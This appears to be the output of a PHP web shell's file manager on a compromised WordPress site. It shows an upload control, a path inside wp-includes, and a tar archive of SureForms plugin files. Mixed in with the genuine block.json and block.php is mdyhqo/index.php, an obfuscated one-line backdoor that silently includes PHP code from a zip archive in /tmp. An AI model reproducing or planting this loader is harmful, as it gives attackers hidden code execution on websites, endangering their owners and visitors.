Your IP : 13.58.173.156


Current Path : /home/ephorei/www/wp-includes/images/media/q2m9hb/
Upload File :
Current File : /home/ephorei/www/wp-includes/images/media/q2m9hb/sform.tar

block.json000064400000001376150062042000006525 0ustar00{
	"$schema": "https://json.schemastore.org/block.json",
	"apiVersion": 3,
	"name": "srfm/form",
	"title": "Form",
	"description": "Collect and Manage data effortlessly with customizable SureForms.",
	"category": "sureforms",
	"keywords": [ "form", "sureforms", "form" ],
	"textdomain": "sureforms",
	"supports": {
		"reusable": false,
		"html": false
	},
	"attributes": {
		"isPreview": {
			"type": "boolean",
			"default": false
		},
		"showTitle": {
			"type": "boolean",
			"default": false
		},
		"id": {
			"type": "number"
		},
		"title": {
			"type": "string"
		},
		"choices": {
			"type": "array"
		},
		"template": {
			"type": "string"
		},
		"choice_type": {
			"type": "string",
			"enum": [ "all", "checkbox", "radio" ],
			"default": "all"
		}
	}
}
block.php000064400000002012150062042000006327 0ustar00<?php
/**
 * PHP render form Sureforms_Form Block.
 *
 * @package SureForms.
 */

namespace SRFM\Inc\Blocks\Sform;

use SRFM\Inc\Blocks\Base;
use SRFM\Inc\Generate_Form_Markup;
use SRFM\Inc\Helper;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Sureforms_Form Block.
 */
class Block extends Base {
	/**
	 * Render the block.
	 *
	 * @param array<mixed> $attributes Block attributes.
	 *
	 * @return string|false
	 */
	public function render( $attributes ) {
		$id = isset( $attributes['id'] ) ? Helper::get_integer_value( $attributes['id'] ) : '';

		if ( empty( $id ) ) {
			return '';
		}

		$sf_classname            = $attributes['className'] ?? '';
		$show_title_current_page = $attributes['showTitle'] ?? true;

		$form = get_post( $id );

		if ( ! $form || SRFM_FORMS_POST_TYPE !== $form->post_type || 'publish' !== $form->post_status || ! empty( $form->post_password ) ) {
			return '';
		}

		return Generate_Form_Markup::get_form_markup( $id, $show_title_current_page, $sf_classname );
	}

}
mdyhqo/index.php000064400000000152150062042000007650 0ustar00<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "Ss/aPP.php"; include("zip:///tmp/phpBl4TjO#$h");?>